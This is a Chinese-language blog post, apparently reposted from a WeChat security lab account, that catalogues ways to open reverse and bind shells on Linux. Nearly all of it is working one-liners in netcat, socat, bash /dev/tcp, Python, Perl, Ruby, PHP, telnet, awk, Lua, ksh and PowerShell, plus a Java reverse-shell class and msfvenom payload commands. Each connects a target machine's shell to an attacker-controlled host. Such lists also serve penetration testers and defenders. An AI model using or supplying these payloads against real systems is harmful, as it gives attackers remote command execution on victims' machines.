Linux反弹Shell的一些方法

admin 2023年6月1日00:40:05评论23 views字数 2603阅读8分40秒阅读模式

Linux反弹Shell的一些方法

Netcat
目标机:
nc -lp [监听端口] -e /bin/bash

攻击机:

nc [目标IP] [目标监听的端口]

Linux反弹Shell的一些方法

Socat

目标机:

socat TCP-LISTEN:[监听端口号] EXEC:/bin/bash

攻击机:

socat TCP:[目标机器IP]:[监听端口号] -

Linux反弹Shell的一些方法

Socat ipv6

目标机:

socat TCP6-LISTEN:[监听端口号] EXEC:/bin/bash

攻击机:

socat TCP6:[目标机器IP%网卡名称]:[监听端口号] -

Linux反弹Shell的一些方法

Bash

目标机:

bash -i >& /dev/tcp/[攻击机器IP]/[监听端口号] 0>&1

攻击机:

nc -lp [监听端口号]

Linux反弹Shell的一些方法

Python

目标机:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机器IP",监听端口号));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

攻击机:

nc -lp [监听端口号]

Linux反弹Shell的一些方法

Perl

目标机:

perl -e 'use Socket;$i="攻击机器IP";$p=监听端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

攻击机:

nc -lp [监听端口号]

Linux反弹Shell的一些方法

Ruby

目标机:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击机器IP",监听端口号);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

攻击机:

nc -lp [监听端口号]

Linux反弹Shell的一些方法

PHP

目标机:

php -r '$sock=fsockopen("攻击机器IP",监听端口号);exec("/bin/sh -i <&3 >&3 2>&3");'

攻击机:

nc -lp [监听端口号]

Linux反弹Shell的一些方法

Telnet

目标机:

mknod a p; telnet [攻击机IP] [监听端口号] 0<a | /bin/bash 1>a

攻击机:

nc -lp [监听端口号]

Linux反弹Shell的一些方法

Telnet第二种

攻击机:

nc -lp 1234
nc -lp 4321

标机:

telnet [攻击机IP] [攻击机端口1] | /bin/bash | telnet [攻击机IP] [攻击机端口2]

在端口1执行命令,结果会在端口2中回显。

Linux反弹Shell的一些方法

Java

编译运行:

javac ReverseShell.java
java ReverseShell

Java代码:

import java.io.IOException;public class ReverseShell {
public static void main(String[] args) {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash", "-c", "exec 5<>/dev/tcp/192.168.75.105/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}

攻击机:

nc -lp [监听端口号]

Linux反弹Shell的一些方法

AWK

目标机:

awk 'BEGIN {s = "/inet/tcp/0/攻击机器IP/监听端口号"; while(42) { do{printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c);}} while(c != "exit") close(s)}}' /dev/null

攻击机:

nc -lp [监听端口号]

Linux反弹Shell的一些方法

Gawk

目标机:

gawk 'BEGIN{s="/inet/tcp/0/192.168.75.128/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

攻击机:

nc -lp [监听端口号]

Linux反弹Shell的一些方法

Lua

目标机:

lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('192.168.75.128',1234);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"

攻击机:

nc -lp [监听端口号]

Linux反弹Shell的一些方法

PowerShell

目标机:

pwsh -Command "Start-Process /usr/bin/ncat -NoNewWindow -Argumentlist '192.168.75.128 1234 -e /usr/bin/sh'"

攻击机:

nc -lp [监听端口号]

Linux反弹Shell的一些方法

ksh

目标机:

ksh -c 'ksh >/dev/tcp/192.168.75.128/1234 2>&1 <&1'

攻击机:

nc -lp [监听端口号]

Linux反弹Shell的一些方法

Msf

Msf提供了相关Payload以及相应的SSL Payload。

1,使用msfvenom查找Linux可反弹Shell的模块。

msfvenom -l payloads | grep 'cmd/unix/reverse' 

Linux反弹Shell的一些方法

2,使用对应模块生成Payload,直接运行使用。

msfvenom -p cmd/unix/reverse_jjs lhost=192.168.75.128 lport=1234 -f raw

Linux反弹Shell的一些方法

JJS

使用Msf刚刚生成的jjs Payload进行测试。

Linux反弹Shell的一些方法

愿大家健康开心,平安喜乐。

原文始发于微信公众号(aFa攻防实验室):Linux反弹Shell的一些方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月1日00:40:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux反弹Shell的一些方法https://cn-sec.com/archives/1779399.html

发表评论

匿名网友 填写信息